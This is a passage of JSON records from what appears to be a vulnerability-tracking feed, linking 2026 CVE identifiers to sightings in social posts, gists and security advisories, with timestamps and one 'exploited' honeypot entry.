"CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhoz7uwazz2o", "content": "", "creation_timestamp": "2026-03-23T02:28:53.185046Z"}, {"uuid": "263380dd-f032-479b-a93e-b579517d26b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mhzle5ugiw2x", "content": "", "creation_timestamp": "2026-03-27T07:20:01.474761Z"}, {"uuid": "9f5ff2b9-4f07-4ce8-9d23-9d34e1d284cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20012", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhwi6dmbyt2r", "content": "", "creation_timestamp": "2026-03-26T01:45:06.571982Z"}, {"uuid": "a5183deb-742b-4884-b992-f32862689cb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mhzle6o2cu2b", "content": "", "creation_timestamp": "2026-03-27T07:20:03.625162Z"}, {"uuid": "769aeda3-e388-4885-8787-cc50b11af78c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhjyatr7vo2w", "content": "", "creation_timestamp": "2026-03-21T02:28:13.087350Z"}, {"uuid": "5c04525c-46de-4d1b-8ab0-1f5358b71823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/adwaitx.bsky.social/post/3mhdcyszsxj2p", "content": "", "creation_timestamp": "2026-03-18T10:51:57.421589Z"}, {"uuid": "68265745-4b58-4a66-b866-779db97b3157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhjyatr7vo2w", "content": "", "creation_timestamp": "2026-03-21T02:28:13.173162Z"}, {"uuid": "935e5324-ee9f-4103-b1a0-0b2b002991b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/wttudf8uxfhmmde.bsky.social/post/3mhdcz2dfuc2w", "content": "", "creation_timestamp": "2026-03-18T10:52:09.643729Z"}, {"uuid": "ba562874-7ea6-4fcd-9241-095157d73c70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhznonupj62s", "content": "", "creation_timestamp": "2026-03-27T08:01:41.767788Z"}, {"uuid": "4cbcf1af-72f0-46db-a487-cf054fddcb15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/clankussy.abu.guru/post/3mhhndqz2bn2i", "content": "", "creation_timestamp": "2026-03-20T04:07:40.159344Z"}, {"uuid": "0af3e11f-302b-4b37-b97a-daba47d6c40d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20435", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mgvgvio2y662", "content": "", "creation_timestamp": "2026-03-12T22:24:29.030276Z"}, {"uuid": "46ae1f13-e99a-4cf0-8da7-ccfc8685466b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20967", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "ba93c074-b75a-4b62-9e53-f270d08c1b19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/buchikuma.bsky.social/post/3mhdgf4mrjo22", "content": "", "creation_timestamp": "2026-03-18T11:52:30.772617Z"}, {"uuid": "6e539ee3-ac19-4665-a451-fef70a49c25a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mhdguff4f342", "content": "", "creation_timestamp": "2026-03-18T12:01:08.598320Z"}, {"uuid": "d395435c-373a-4faf-a656-786d99afa660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://www.jpcert.or.jp/english/at/2026/at260001.html", "content": "", "creation_timestamp": "2026-01-14T02:33:00.000000Z"}, {"uuid": "45cc4355-c5aa-4332-bceb-0cc25c4202de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mhdgug43uz22", "content": "", "creation_timestamp": "2026-03-18T12:01:09.175264Z"}, {"uuid": "253b9bd0-434a-4c57-87f8-e6b4f1ba1fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhfqrfmrd42b", "content": "", "creation_timestamp": "2026-03-19T10:03:39.798169Z"}, {"uuid": "e6ff67f8-e4bb-44f4-a352-4f4c1e24cc41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-19)", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "3a99b02b-c326-4244-ba91-aecb17a74a6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhwkmxcob62m", "content": "", "creation_timestamp": "2026-03-26T02:29:06.496069Z"}, {"uuid": "01d31ae4-c0d1-4b55-850a-8a3bf4b3476a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1719", "content": "", "creation_timestamp": "2026-01-14T04:00:00.000000Z"}, {"uuid": "eafb310b-a83b-4114-995a-bcd16f0252aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/it-connect.bsky.social/post/3mhfrb5npwh2m", "content": "", "creation_timestamp": "2026-03-19T10:12:29.001522Z"}, {"uuid": "25de3dd0-a90e-4525-be0c-2b8ff0acc816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mhhpas4gys23", "content": "", "creation_timestamp": "2026-03-20T04:41:48.329238Z"}, {"uuid": "367dcefe-e4a2-44f3-a1ac-dbc3018381ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhwkmxcob62m", "content": "", "creation_timestamp": "2026-03-26T02:29:08.993711Z"}, {"uuid": "272f7fb7-cfbe-47dd-a51b-c942a8eb9e54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/116250098525989917", "content": "", "creation_timestamp": "2026-03-18T12:08:52.364869Z"}, {"uuid": "1d9dbeb9-11b6-4d6e-ae12-553fb5bec3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mhgsgxxqgn2h", "content": "", "creation_timestamp": "2026-03-19T20:06:17.263555Z"}, {"uuid": "a3a93381-2351-47cd-bf45-99f938611217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mhdhcmiobc2o", "content": "", "creation_timestamp": "2026-03-18T12:09:01.620187Z"}, {"uuid": "2fdebe0b-e708-4b6c-bbdb-be88e8f4ca79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mhgsgxxqgn2h", "content": "", "creation_timestamp": "2026-03-19T20:06:17.343358Z"}, {"uuid": "21ec244d-329e-46da-b047-c7c876f5c282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhxijja6jy2i", "content": "", "creation_timestamp": "2026-03-26T11:24:00.951677Z"}, {"uuid": "c82921d5-7098-42c9-a637-b0a38a1086f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mhgsktznmw2m", "content": "", "creation_timestamp": "2026-03-19T20:08:27.638222Z"}, {"uuid": "85098a1a-49cf-45e7-95b0-289262e43ce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20012", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116295588557237424", "content": "", "creation_timestamp": "2026-03-26T12:57:35.808350Z"}, {"uuid": "a3f455fc-59d6-4086-bd63-2fc477615ded", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20012", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116295730132044156", "content": "", "creation_timestamp": "2026-03-26T13:33:35.520677Z"}, {"uuid": "20db0b79-3b23-4434-826f-9f7afdd3b489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhmiqpnt4l2b", "content": "", "creation_timestamp": "2026-03-22T02:28:44.938145Z"}, {"uuid": "6a2bddeb-cbf6-49a5-837e-8e4ef928f76d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhmiqpnt4l2b", "content": "", "creation_timestamp": "2026-03-22T02:28:45.007442Z"}, {"uuid": "ba15a933-ed68-46f3-9ed1-cf76a6aa29f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1717", "content": "", "creation_timestamp": "2026-01-08T04:00:00.000000Z"}, {"uuid": "56aa4ab5-39f8-4cc0-a3e6-43147ca473fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1731", "content": "", "creation_timestamp": "2026-01-22T04:00:00.000000Z"}, {"uuid": "72d65d11-37ab-400f-bfa0-af58dca1eb8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115889096590340890", "content": "", "creation_timestamp": "2026-01-13T18:01:20.044560Z"}, {"uuid": "6db4ea0a-436c-40ee-90fb-ed7dab427763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20952", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115889158303083604", "content": "", "creation_timestamp": "2026-01-13T18:17:01.922061Z"}, {"uuid": "5079af70-26bc-4e9a-92e9-915238823782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20953", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115889158303083604", "content": "", "creation_timestamp": "2026-01-13T18:17:02.062792Z"}, {"uuid": "9ec653e7-e116-4498-ba64-b8792afaea43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20944", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115889158303083604", "content": "", "creation_timestamp": "2026-01-13T18:17:02.190533Z"}, {"uuid": "cbb68bba-8392-40b9-89d3-74fdba687d81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcd63kf7ul2a", "content": "", "creation_timestamp": "2026-01-13T18:18:02.746369Z"}, {"uuid": "233315b2-03ed-4fe0-8b56-5e7647551e97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcd63rphkf2u", "content": "", "creation_timestamp": "2026-01-13T18:18:10.391280Z"}, {"uuid": "e4e7e391-9f07-4964-b0a0-4449e401fcd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20820", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115889203729557728", "content": "", "creation_timestamp": "2026-01-13T18:28:34.841053Z"}, {"uuid": "03ee5842-ee9f-40b7-9920-d88d526cb205", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20944", "type": "seen", "source": "https://gist.github.com/Darkcrai86/a5d4b60c1c64995671633dac372b817e", "content": "", "creation_timestamp": "2026-01-13T18:30:46.000000Z"}, {"uuid": "0fac5931-5647-4c51-a646-58068337e1eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20803", "type": "seen", "source": "https://gist.github.com/Darkcrai86/ba1b89b08605bf041c72ec9e8770324c", "content": "", "creation_timestamp": "2026-01-13T18:30:23.000000Z"}, {"uuid": "17e7ab01-2160-4401-a435-8cf4b8d71cd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20946", "type": "seen", "source": "https://gist.github.com/Darkcrai86/7e32b6a0ba89e8a8da3f5861386e66b3", "content": "", "creation_timestamp": "2026-01-13T18:31:09.000000Z"}, {"uuid": "91f791d8-2e9b-43c4-9313-549c36d64a66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20949", "type": "seen", "source": "https://gist.github.com/Darkcrai86/8cca0eb3b455d1a40aee573c3c54f40f", "content": "", "creation_timestamp": "2026-01-13T18:32:23.000000Z"}, {"uuid": "f8f8c137-6902-43e3-b4ff-9b290cf39022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20953", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcd7dqn3ub2b", "content": "", "creation_timestamp": "2026-01-13T18:40:31.240861Z"}, {"uuid": "095c5eb6-c7f4-4427-b985-780142fe0f1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20955", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcd7dx2ykg2u", "content": "", "creation_timestamp": "2026-01-13T18:40:37.769668Z"}, {"uuid": "ef62b44b-ecea-4a07-b2b5-67bc4fa336d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20837", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115889260751069311", "content": "", "creation_timestamp": "2026-01-13T18:43:04.838918Z"}, {"uuid": "f5632947-b658-4b43-9ca4-166b4f2c0e71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20868", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115889311944316669", "content": "", "creation_timestamp": "2026-01-13T18:56:05.945559Z"}, {"uuid": "4a0da086-b9d2-4293-b224-4546a3e12cbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20956", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcdajw4pfi2u", "content": "", "creation_timestamp": "2026-01-13T19:01:52.126524Z"}, {"uuid": "82de258d-199d-4adf-84ed-c0a67fec69ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20957", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcdak4rbq32z", "content": "", "creation_timestamp": "2026-01-13T19:01:58.929987Z"}, {"uuid": "596a2775-5a84-49db-a5e2-c02af2145123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20946", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcdakdaqbh2e", "content": "", "creation_timestamp": "2026-01-13T19:02:05.605962Z"}, {"uuid": "e134b165-d553-447d-915d-c7221380028f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20956", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcdalnkkyl2t", "content": "", "creation_timestamp": "2026-01-13T19:02:49.597979Z"}, {"uuid": "a038259f-9c2b-4064-ae8a-6b5d68b51b93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20957", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcdalvqgjh2u", "content": "", "creation_timestamp": "2026-01-13T19:02:58.428386Z"}, {"uuid": "4fa0b2ec-d578-4193-acbb-bf97d01c3cb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20946", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcdam542ll2z", "content": "", "creation_timestamp": "2026-01-13T19:03:06.386584Z"}, {"uuid": "13a64b72-7cc5-408d-834a-75ba830f8b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20929", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115889367378777721", "content": "", "creation_timestamp": "2026-01-13T19:10:11.910476Z"}, {"uuid": "b9786d75-7212-42a2-aa9e-1a831f225f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20854", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115889418099663737", "content": "", "creation_timestamp": "2026-01-13T19:23:05.798229Z"}, {"uuid": "5510410d-9cfb-4674-95a2-db54ee033619", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://gist.github.com/Darkcrai86/18f12ae525844ab36fc9dbf2a97f81cc", "content": "", "creation_timestamp": "2026-01-13T19:21:57.000000Z"}, {"uuid": "56e9547b-cc89-4cc6-8387-34c6aad1f411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/kalervohintsanen.bsky.social/post/3mcdcb2jzzc2g", "content": "", "creation_timestamp": "2026-01-13T19:32:47.009447Z"}, {"uuid": "99dab5bc-ba2e-413f-b473-646944ae0008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20957", "type": "seen", "source": "https://gist.github.com/Darkcrai86/c9ba9c5011f37d5f32d7b2da975e9024", "content": "", "creation_timestamp": "2026-01-13T19:36:15.000000Z"}, {"uuid": "60c4db6f-f7ba-4bed-9e76-6fcb133fb2ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20948", "type": "seen", "source": "https://gist.github.com/Darkcrai86/443263938b7409bd3f760a09f67a120d", "content": "", "creation_timestamp": "2026-01-13T19:37:13.000000Z"}, {"uuid": "6cc294f1-0827-4ea8-9931-091725f4cc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20949", "type": "seen", "source": "https://gist.github.com/Darkcrai86/035d46a7bc4714c1378a86f467c1b4e4", "content": "", "creation_timestamp": "2026-01-13T19:36:49.000000Z"}, {"uuid": "275d318e-3011-425b-ba39-f1c00b71ef6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20944", "type": "seen", "source": "https://gist.github.com/Darkcrai86/4d617d1e4a90091bb8b89a0f72cc3033", "content": "", "creation_timestamp": "2026-01-13T19:38:21.000000Z"}, {"uuid": "ad2c30da-544e-4b4f-9bd8-2d6861e0886f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "8133916f-7276-4ec0-b242-dd1b2ff154b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20952", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "bc51684a-6a24-4db6-968a-98cd2579f06c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20953", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "36596a16-f4b0-4a92-a808-3d0fe40fb132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20876", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "fbe82315-faa7-4bc5-a3dd-af9280babfd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20955", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "27cefe39-b026-4c38-9eaf-dfdff4e41fa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20957", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "07ace5be-9f2f-4024-8d6a-4d64c85107f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20944", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "7c5ed7da-a280-46ff-b44c-035bd1ab6538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20822", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "ee7fec42-c9ce-4519-a181-17f83faa5a74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20854", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "d802cc4b-3d5c-414a-9972-94715a443165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20815", "type": "seen", "source": 